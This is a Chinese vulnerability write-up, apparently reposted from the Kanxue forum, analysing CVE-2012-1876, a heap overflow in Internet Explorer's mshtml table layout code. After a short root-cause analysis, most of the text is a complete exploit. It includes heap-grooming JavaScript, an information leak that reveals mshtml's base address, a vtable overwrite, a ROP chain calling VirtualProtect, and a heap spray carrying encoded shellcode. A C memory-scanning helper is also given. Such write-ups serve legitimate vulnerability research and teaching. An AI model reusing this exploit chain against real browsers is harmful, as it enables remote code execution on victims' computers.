CVE-2012-1876漏洞分析与利用
2022-1-24 17:58:0 Author: mp.weixin.qq.com(查看原文) 阅读量:14 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:AshCrimson

漏洞信息

CVE-2012-1876
mshtml.dll中函数CTableLayout::CalculateMinMax,通过span属性值作为循环次数向堆内存中写入数据时,未对span进行有效的校验而导致堆溢出,可实现RCE。

漏洞分析

调试ie,开启子进程调试,开启页堆,定位堆溢出位置。
gflags.exe -i iexplore.exe +hpa.childdbg 1
溢出点,edi的值导致了crash,edi=[esi+18],向上追踪esi何处被赋值。
 
查看堆栈,CalCulateMinMax存在大量对esi的操作,对CalCulateMinMax函数下断,进行分析。
 
首次加载页面,会获取一些属性,第一个参数为Table标签的类对象。
 
ebx=CTableLayout
 
ebx+0x54== 所有col标签span属性值的和,标记为spannum。
 
 
如果通过判断:(this+0x94>>2) < spannum,则通过函数EnsureSizeWorker申请空间。
函数EnsureSizeWorker内部会进行判断,确保最小申请空间为0x1C*4=0x70字节空间,并将地址存储入this+0x9C处。
执行完之后会对this+0x94进行更新。
 
通过调用函数over_trigger修改标签属性,第二次运行CalculateMinMax。
 
此时this+0x94更新后==4,(4>>2)==spannum,所以不会再进行申请内存的操作。
 
 
此时GetAAspan返回值为0x3e8,说明span属性值已经成功被修改,但是CTableLayout成员变量并没有发生改变。
 
 
spannum仍然为1。
 
 
通过函数GetFancyFormat对修改后的width进行了一次运算(42765*100)<<4+9=0x4141149。
 
 
然后将参数传入,通过函数GetPixelWidth进行第二次运算,最终通过width得到的结果为0x519159。
 
 
当运行到此处时,已经可以很明显的看出漏洞成因了,压入参数[ebp-0xc]也就是前面通过width计算出的值,通过函数AjdustForCol,循环1000次写入堆中,每次写入数据大小为0xC,而堆大小只有0x70,因为修改span后,没有重新分配相应大小的堆空间,最终会产生堆溢出。
 

利用思路

构造堆的布局,进行占位,让内存申请到释放的位置。
 
第一次溢出覆盖字符串长度,暴露mshtml基址。
 
第二次溢出覆盖虚表指针,构造rop,通过heapspray将shellcode喷射到覆盖的虚表指针地址,绕过DEP和ASLR保护,执行shellcode。

漏洞利用

第一步申请内存空间,写入大量BSTR字符串,构造堆布局,释放存储字符"E"的堆空间,让EnsureSizeWorker申请内存时,可以占用释放的位置。
<div id="test"></div> <script language='javascript'>     d = document.getElementById('test');     var dap = "EEEE";     while (dap.length < 0x200) dap += dap;     var padding = "AAAA";     while (padding.length < 0x200) padding += padding;     var filler = "BBBB";     while (filler.length < 0x200) filler += filler;     var arr = new Array();     var rra = new Array();     //EEEE AAAA BBBB OOOO     for (var i = 0; i < 1000; i += 2) {         rra[i] = dap.substring(0, (0x100 - 6) / 2);         arr[i] = padding.substring(0, (0x100 - 6) / 2);         arr[i + 1] = filler.substring(0, (0x100 - 6) / 2);         var obj = document.createElement("button");         d.appendChild(obj);     }     //theap A B button     for (var i = 200; i < 1000; i += 2) {         rra[i] = null;         CollectGarbage();     }</script>
构造col标签,进行占位。
<table style="table-layout:fixed">          <col id="0" width="41" span="9">&nbsp </col></table>      <table style="table-layout:fixed">          <col id="1" width="41" span="9">&nbsp </col> </table>...<table style="table-layout:fixed">          <col id="132" width="41" span="9">&nbsp </col></table>
通过windbg调试,输出日志,判断是否成功占位。
sxe ld:jscriptbu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"bu mshtml!CTableLayout::CalculateMinMax+0x18C ".echo vulheap;dd poi(ebx+9c) l4;g".logopen c:\log.txt
程序成功申请到前面释放的内存,这里要去除页堆,不然成功率很低。
 
 
 
当前内存布局,可以找到CButton虚表指针,需要通过它计算出mshtml基址,因为CButtonLayout虚表指针和mshtml基址的偏移是固定的,为了能够读取到这个值,需要通过溢出改变字符串B的长度,读取CButtonLayout虚表指针。
function one_overflow() {          //首次溢出,通过CButtonLayout暴露mshtml基址          var col = document.getElementById(2);          col.span = 19;      }
function get_mshtml_base() { var leak_addr = -1; for (var i = 0; i < 10000; i++) { if (arr[i].length > (0x100 - 6) / 2) { leak_index = i; var leak = arr[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8) + 4 / 2); leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16); //alert("CButtonLayout VirtualTable Point:0x" + leak_addr.toString(16)); mshtml_base = leak_addr - Number(0x001584f8); //alert("mshtml base:0x" + mshtml_base.toString(16)); heapspray(mshtml_base); break; } } }
第一次溢出,长度成功被覆盖。
 
通过暴露的虚表指针信息,可以找到mshtml.dll基址,偏移为:0x1584F8。
 
 
获取偏移后,再使用windbg调试,验证基址是否正确。
 
 
第二次溢出覆盖CButtonLayout对象的虚表指针进行覆盖,控制程序执行流程。
 
 
这里进行覆盖的值=width*125,后面调用的虚函数地址为[eax+dc],与漏洞战争书上略有不同。
function second_overflow() {           //二次溢出,覆盖CBttonLayout虚表指针           var col = document.getElementById(2);           col.width = "1003572";           col.span = "29";       }
成功控制执行流程。
 
 
下面进行heapspray,构造shellcode喷射到这个地址中。
function heapspray(base) {            //ret            var rop = (base + 0x3142).toString(16);            var rop_ret1 = rop.substring(4, 8);            var rop_ret2 = rop.substring(0, 4);            //pop ebp;ret            var rop = (base + 0x4b015a).toString(16);            var rop_popebp_ret1 = rop.substring(4, 8);            var rop_popebp_ret2 = rop.substring(0, 4);            //xchg eax,esp;ret            var rop = (base + 0x701be).toString(16);            var rop_xchg1 = rop.substring(4, 8);            var rop_xchg2 = rop.substring(0, 4);            //pop ebx;ret            var rop = (base + 0x3d0537).toString(16);            var rop_popebx_ret1 = rop.substring(4, 8);            var rop_popebx_ret2 = rop.substring(0, 4);            //pop edx;ret            var rop = (base + 0x2fb796).toString(16);            var rop_popedx_ret1 = rop.substring(4, 8);            var rop_popedx_ret2 = rop.substring(0, 4);            //pop ecx;ret            var rop = (base + 0x17011a).toString(16);            var rop_popecx_ret1 = rop.substring(4, 8);            var rop_popecx_ret2 = rop.substring(0, 4);            //writable            var rop = (base + 0x100).toString(16);            var writable1 = rop.substring(4, 8);            var writable2 = rop.substring(0, 4);            //pop edi;ret            var rop = (base + 0x390a67).toString(16);            var rop_popedi_ret1 = rop.substring(4, 8);            var rop_popedi_ret2 = rop.substring(0, 4);            //pop esi;ret            var rop = (base + 0xf01bd).toString(16);            var rop_popesi_ret1 = rop.substring(4, 8);            var rop_popesi_ret2 = rop.substring(0, 4);            //jmp eax            var rop = (base + 0x1f2bd9).toString(16);            var rop_jmpeax1 = rop.substring(4, 8);            var rop_jmpeax2 = rop.substring(0, 4);            //pop eax;ret            var rop = (base + 0x351263).toString(16);            var rop_popeax_ret1 = rop.substring(4, 8);            var rop_popeax_ret2 = rop.substring(0, 4);            //VirtualProtect            var rop = (base + 0x1348).toString(16);            var rop_vp1 = rop.substring(4, 8);            var rop_vp2 = rop.substring(0, 4);            //mov eax;dword ptr ds:[eax];ret            var rop = (base + 0x214bbd).toString(16);            var rop_moveax_ret1 = rop.substring(4, 8);            var rop_moveax_ret2 = rop.substring(0, 4);            //pushad;ret            var rop = (base + 0x51a2c8).toString(16);            var rop_pushad_ret1 = rop.substring(4, 8);            var rop_pushad_ret2 = rop.substring(0, 4);            //push esp;ret            var rop = (base + 0x49cb1d).toString(16);            var rop_pushesp_ret1 = rop.substring(4, 8);            var rop_pushesp_ret2 = rop.substring(0, 4);
var shellcode = unescape("%u" + rop_ret1 + "%u" + rop_ret2); //ret shellcode += unescape("%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2); //pop ebp;ret for (var i = 0; i < 0x32; i++) { shellcode += unescape("%u" + rop_ret1 + "%u" + rop_ret2); //ret } shellcode += unescape("%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2); //pop ebp;ret ebp=shellcode_addr shellcode += unescape("%u2a80%u077a"); shellcode += unescape("%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2); shellcode += unescape("%u" + rop_xchg1 + "%u" + rop_xchg2); //xchg eax,esp;ret; start change stack shellcode += unescape("%u" + rop_popebx_ret1 + "%u" + rop_popebx_ret2); //pop ebx;ret ebx=1024 shellcode += unescape("%u1024%u0000"); //1024 shellcode += unescape("%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2); //pop edx;ret edx=40 shellcode += unescape("%u0040%u0000"); //40 shellcode += unescape("%u" + rop_popecx_ret1 + "%u" + rop_popecx_ret2); //pop ecx;ret shellcode += unescape("%u2a70%u077a"); shellcode += unescape("%u" + rop_popedi_ret1 + "%u" + rop_popedi_ret2); //pop edi;ret shellcode += unescape("%u" + rop_ret1 + "%u" + rop_ret2); //ret shellcode += unescape("%u" + rop_popesi_ret1 + "%u" + rop_popesi_ret2); //pop esi;ret shellcode += unescape("%u" + rop_jmpeax1 + "%u" + rop_jmpeax2); //jmp eax shellcode += unescape("%u" + rop_popeax_ret1 + "%u" + rop_popeax_ret2); //pop eax;ret shellcode += unescape("%u" + rop_vp1 + "%u" + rop_vp2); //VirtualProtect_addr eax=VirtualProtect shellcode += unescape("%u" + rop_moveax_ret1 + "%u" + rop_moveax_ret2); //mov eax;[eax];ret shellcode += unescape("%u" + rop_pushad_ret1 + "%u" + rop_pushad_ret2); //pushad;ret shellcode += unescape("%u" + rop_pushesp_ret1 + "%u" + rop_pushesp_ret2); //push esp;ret; shellcode += unescape("%u9090%u9090"); shellcode += unescape("%u9090%u9090"); shellcode += unescape( "%u68FC%u0A6A%u1E38%u6368%uD189%u684F%u7432%u0C91%uF48B%u7E8D%u33F4%uB7DB%u2B04%u66E3%u33BB" + "%u5332%u7568%u6573%u5472%uD233%u8B64%u305A%u4B8B%u8B0C%u1C49%u098B%u098B%u698B%uAD08%u6A3D" + "%u380A%u751E%u9505%u57FF%u95F8%u8B60%u3C45%u4C8B%u7805%uCD03%u598B%u0320%u33DD%u47FF%u348B" + "%u03BB%u99F5%uBE0F%u3A06%u74C4%uC108%u07CA%uD003%uEB46%u3BF1%u2454%u751C%u8BE4%u2459%uDD03" + "%u8B66%u7B3C%u598B%u031C%u03DD%uBB2C%u5F95%u57AB%u3D61%u0A6A%u1E38%uA975%uDB33%u6853%u6465" + "%u0000%u6868%u6361%u8B6B%u53C4%u5050%uFF53%uFC57%uFF53%uF857%9090%9090%9090"); while (shellcode.length < 100000) { shellcode += shellcode; } //64k var onemeg = shellcode.substr(0, 64 * 1024 / 2); for (i = 0; i < 14; i++) { onemeg += shellcode.substr(0, 64 * 1024 / 2); } var spray = new Array(); for (i = 0; i < 1000; i++) { spray[i] = onemeg.substr(0, onemeg.length); } }
为了使覆盖的虚表指针的值刚好是shellcode起始位置,并且eax+dc位置是xchg eax,esp ret指令地址,可以通过读取内存快速查找对应地址,写入第二次溢出的width中。
#include <iostream>#include <windows.h>int main(){    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, 3920);    int addr = 1000000;    DWORD temp = 0;    while (1) {        DWORD val = 0;        int ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125), &val, 4, &temp);        if (ret) {            printf("addr:%08x:%08x\n", addr * 125);        }        if (ret && val == 0x6ABD3142) {            ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125 + 0xdc), &val, 4, &temp);            if (val == 0x6AC401BE) {                printf("result=%d\n", addr);                break;            }        }        printf("%x\n", addr);        addr++;    }    system("pause");}

结果

参考资料:
漏洞战争:软件漏洞分析精要

 

看雪ID:AshCrimson

https://bbs.pediy.com/user-home-893960.htm

*本文由看雪论坛 AshCrimson 原创,转载请注明来自看雪社区

# 往期推荐

1.PWN学习总结

2.Java反编译_class爆破与javaagent

3.某应用sign签名算法还原

4.海莲花APT组织样本分析

5.详解七句汇编获取Kernel32模块地址

6.保护模式学习笔记之分页机制

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458421048&idx=1&sn=75c795462d9481e89f6c1357ad0f35d0&chksm=b18fb7b286f83ea4762c7159dfbcd6331bb0c70ad464ce0ea0e6feebfeac7a8e641f2e760af8#rd
如有侵权请联系:admin#unsafe.sh